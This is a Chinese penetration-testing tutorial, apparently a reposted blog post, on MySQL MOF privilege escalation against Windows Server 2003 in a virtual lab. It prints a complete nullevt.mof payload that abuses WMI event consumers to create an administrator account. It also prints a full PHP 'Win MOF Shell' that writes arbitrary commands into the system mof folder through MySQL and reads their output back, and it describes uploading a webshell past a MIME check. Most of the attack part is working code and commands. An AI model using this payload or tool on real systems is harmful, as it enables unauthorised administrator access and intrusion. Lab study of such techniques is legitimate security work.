我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

文章目录

  • 1、mof提权原理:
  • 2、mof提权限制:
  • 3、mof提权过程:
    • (1)实验环境:
    • (2)靶机链接:
    • (3)实验过程:
    • 附:上传mof.php脚本,自动写入mof文件

1、mof提权原理:

mof是windows系统的一个文件,存储在c:/windows/system32/wbem/mof/nullevt.mof,叫做"托管对象格式",其作用是每隔五秒就会去监控进程创建和死亡。然而提权的原理就是在拥有了mysql的root权限以后(其实就是获得了MySQL的启动身份),然后使用该权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs脚本段大多数写的是cmd的添加管理员用户的命令。

2、mof提权限制:

(1)操作系统版本:Windows Server 2003及以下版本;

(2)有MySQL数据库的连接数据;

(3)MySQL的配置文件my.ini中的secure-file-priv参数要为空(这个空不是NULL);

(4)MySQL启动身份具有权限去读写c:/windows/system32/wbem/mof目录;

如下所图所示,在靶机设置MySQL启动用户可以对mof文件夹进行完全控制:

3、mof提权过程:

(1)实验环境:

1.靶机环境:
(1)虚拟机WindowsServer2003【upload.moonteam.com】【192.168.97.132】
(2)脚本语言环境:php/asp语言环境存在2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+大马3.网络环境:
(1)VMware搭建的NAT网络

(2)靶机链接:

URL:http://upload.moonteam.com/upload_4.php

(3)实验过程:

第一步:访问靶机链接,通过MIME类型突破白名单限制,上传php一句话,蚁剑连接。

【图略】【假设此时获得了数据库的连接数据:root/zkeys】

第二步:通过蚁剑连接数据库root/zkeys

第三步:查看当前用户、查看secure-file-priv参数是否为空

第四步:上传nullevt.mof文件到靶机的c:\recycler文件夹下,然后写入到c:/windows/system32/wbem/mof/nullevt.mof文件夹下

nullevt.mof文件如下所示,第十八行是我们要执行的系统命令,第九行是5秒执行一次该文件。

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter
{ EventNamespace = "Root\\Cimv2"; Name  = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL";
}; instance of ActiveScriptEventConsumer as $Consumer
{ Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test01 123 /add\")\nWSH.run(\"net.exe localgroup administrators test01 /add\")";
}; instance of __FilterToConsumerBinding
{ Consumer   = $Consumer; Filter = $EventFilter;
};

如下图所示,成功上传nullevt.mof文件到C:/RECYCLER目录下:

如下图所示,写入文件失败:

如下图所示,我们需要在靶机设置mof文件夹的权限,也就是给MySQL的启动用户赋予完全控制mof文件夹以及子文件夹的权限:

如下图所示,再次写入,成功!!!

如下图所示,在靶机上检查,发现mof文件实则写入到了mof文件夹下的good目录下,且也成功的创建了test01管理员组用户:

附:上传mof.php脚本,自动写入mof文件

mof.php脚本如下所示,该脚本功能是接收用户传来的cmd命令后再写入qwsn.mof到靶机的c:\windows\system32\wbem\mof文件夹下:其中第一行是成功执行命令的标志、第五十二行是我们写入到靶机mof文件夹下的mof文件名、第四十行是我们input输入框输入的cmd命令。。。。。。。。。。。。

<?php
$path="c:/windows/system32/correct";
session_start();
if(!empty($_POST['submit'])){setcookie("connect");
setcookie("connect[host]",$_POST['host']);
setcookie("connect[user]",$_POST['user']);
setcookie("connect[pass]",$_POST['pass']);
setcookie("connect[dbname]",$_POST['dbname']);
echo "<script>location.href='?action=connect'</script>";
}
if(empty($_GET["action"])){?><html>
<head><title>Win MOF Shell</title></head>
<body>
<form action="?action=connect" method="post">
Host:
<input type="text" name="host" value="127.0.0.1"><br/>
User:
<input type="text" name="user" value="root"><br/>
Pass:
<input type="password" name="pass" value=""><br/>
DB:
<input type="text" name="dbname" value="mysql"><br/>
<input type="submit" name="submit" value="Go Go Go"><br/>
</form>
</body>
</html><?php
exit;
}
if ($_GET[action]=='connect')
{$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"])  or die('<pre>'.mysql_error().'</pre>');echo "<form action='' method='post'>";
echo "CMD命令:";
echo "<input type='text' name='cmd' value='$strCmd'?>";
echo "<br>";
echo "<br>";
echo "<input type='submit' value='填写CMD后Exploit'>";
echo "</form>";
echo "<form action='' method='post'>";
echo "<input type='hidden' name='flag' value='flag'>";
echo "<input type='submit'value='  Check '>";
echo "</form>";
if (isset($_POST['cmd'])){$strCmd=$_POST['cmd'];
$cmdshell='cmd /c '.$strCmd.'>'.$path;
$mofname="c:/windows/system32/wbem/mof/qwsn.mof";
$payload = "#pragma namespace(\"\\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\subscription\")instance of __EventFilter as \$EventFilter
{EventNamespace = \"Root\\\\\\\\Cimv2\";Name  = \"filtP2\";Query = \"Select * From __InstanceModificationEvent \"\"Where TargetInstance Isa \\\\\"Win32_LocalTime\\\\\" \"\"And TargetInstance.Second = 5\";QueryLanguage = \"WQL\";
};instance of ActiveScriptEventConsumer as \$Consumer
{Name = \"consPCSV2\";ScriptingEngine = \"JScript\";ScriptText =\"var WSH = new ActiveXObject(\\\\\"WScript.Shell\\\\\")\\\\nWSH.run(\\\\\"$cmdshell\\\\\")\";};instance of __FilterToConsumerBinding
{Consumer = \$Consumer;Filter = \$EventFilter;
};";
mysql_select_db($_COOKIE["connect"]["dbname"],$conn);
$sql1="select '$payload' into dumpfile '$mofname';";
if(mysql_query($sql1))echo "<hr>Execute Successful!<br> Please click the Check button to check the  result!!<br>If the result is not correct,try check again later<br><hr>"; else die(mysql_error());mysql_close($conn);
}if(isset($_POST['flag']))
{$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"])  or die('<pre>'.mysql_error().'</pre>');$sql2="select load_file(\"".$path."\");";$result2=mysql_query($sql2);$num=mysql_num_rows($result2);while ($row = mysql_fetch_array($result2, MYSQL_NUM)) {echo "<hr/>";echo '<pre>'. $row[0].'</pre>';}mysql_close($conn);
}
}
?>

第一步:上传mof.php文件到文件上传upfile目录下:

第二步:访问我们刚刚上传的mof.php脚本,填写数据库连接数据,然后点击Go进入。

第三步:在mof.php脚本页面,通过form表单传入我们要执行的命令,然后点击Exploit写入qwsn.mof到靶机的c:\windows\system32\wbem\mof文件夹下,最后点击Check检查是否成功的执行命令。

如下图所示,我们填写好CMD命令:net.exe user test02 123 /add && net.exe localgroup administrators test02 /add

如下图所示,点击Exploit按钮后,提示成功写入mof文件:

如下图所示,等待5s后,点击Check按钮,显示命令成功完成:

如下图所示,我们在靶机上检查,发现qwsn.mof成功写入,并且test02管理员组用户成功创建:

113.网络安全渗透测试—[权限提升篇11]—[Windows 2003 Mysql MOF提权]相关推荐

  1. 112.网络安全渗透测试—[权限提升篇10]—[Windows 2003 LPK.DDL劫持提权msf本地提权]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.LPK.DDL劫持提权 1.sethc.exe是什么: 2.lpk.dll出现的背景: 3.Windows查 ...

  2. 118.网络安全渗透测试—[权限提升篇16]—[Windows MSF提权模块提权审计工具]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.MSF 结合漏洞审计工具进行提权 1.MSF漏洞审计模块:local_exploit_suggeste 2. ...

  3. 103.网络安全渗透测试—[权限提升篇1]—[Linux内核漏洞提权]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.LINUX 内核漏洞提权 1.漏洞背景: 2.漏洞利用: (1)实验环境 (2)靶机链接 (3)突破MIME ...

  4. 操作系统权限提升(三)之Windows系统内核溢出漏洞提权

    系列文章 操作系统权限提升(一)之操作系统权限介绍 操作系统权限提升(二)之常见提权的环境介绍 注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!!! Windows系统内核溢出漏洞提权介绍 ...

  5. Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等

    Penetration_Testing_POC 搜集有关渗透测试中用到的POC.脚本.工具.文章等姿势分享,作为笔记吧,欢迎补充. Penetration_Testing_POC 请善用搜索[Ctrl ...

  6. mysql mof提权原理_[原创]WEB安全第六章提权篇12 mof提权

    WEB安全第六章提权篇12 mof提权 1.mof是什么 托管对象格式 (MOF) 文件是创建和注册提供程序.事件类别和事件的简便方法.在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译.编 ...

  7. 74.网络安全渗透测试—[SQL注入篇13]—[SQLSERVER+ASP-执行系统命令]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.SQLSERVER+ASP 执行系统命令 1.前言 2.SQLSERVER+ASP 执行系统命令示例 一.S ...

  8. 3.网络安全渗透测试—[信息收集篇3]—[whois查询和反查/IP查询和反查/C段查询/资产相关]

    一.whois查询和反查 1.whois信息查询:域名->注册人和注册邮箱 (1)概念: whois反查要先涉及到一个概念就是whois,whois简单来说,就是一个用来查询域名是否已经被注册, ...

  9. 41.网络安全渗透测试—[穷举篇4]—[SMTP邮箱穷举]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.SMTP邮箱暴力破解 1.配置邮箱服务器:`hosts文件` 2.MailCracker的使用:`暴力破解` ...

最新文章

  1. Windows python用impyla连接远程Hive数据库
  2. 教你如何在面试中用「10分钟快速分析」一款产品
  3. 读《台湾码农的心路历程》
  4. 平板电脑显示服务器繁忙,微信公众平台微信保护-微信公众平台登陆系统繁忙是什么原因登陆的时候有个微信扫描认证?微 爱问知识人...
  5. anaconda下载太慢怎么办_BBTIME我爱上了 Anaconda
  6. vijos1056-图形面积【离散化】
  7. RedisUtil - Redis功能介绍,五种数据类型的使用,Spring和Redis的集成
  8. [转]java代码性能优化总结
  9. POJ3414(BFS+[手写队列])
  10. 复数基础——二次公式的复根,复平面上标复数值点_7
  11. python获取小数部分
  12. 天下武功唯快不破--速度要快
  13. c语言动态分配输出学生成绩,C语言之:结构体动态分配内存(利用结构体数组保存不超过10个学生的信息,每个学生的信息包括:学号、姓名和三门课(高数、物理和英语 )的成绩和平均分(整型)。)...
  14. Arduino循迹小车教程一----材料篇
  15. 关于单选框以及复选框的css美化方法
  16. 禁用键盘上的某些按键
  17. sqlsession生命周期
  18. 什么是反射,反射能干嘛?
  19. ceph rbd mysql_如何在 Kubernetes 环境中搭建 MySQL(三):使用 PVC 挂接 RBD
  20. [原创]从魔兽世界看网游产业。。。 。。。

热门文章

  1. Nodejs学习之路
  2. 把每一天当最后一天来过
  3. Eclipse安装插件的几种方法(eclipse安装SVN插件)
  4. python操作三大数据库百度云_【python操作三大】下载 - 面包树
  5. java二维数组的扩容_Java开发笔记(二十一)二维数组的扩展
  6. 【PaperReading】使用limma、Glimma和edgeR对RNA-seq数据分析
  7. sqlalchemy文档笔记
  8. 安全又智能的小车,奇瑞小蚂蚁
  9. checked jq 添加_jquery中input复选框的checked属性
  10. 基于C语言使用卡尔丹公式法求解一元三次方程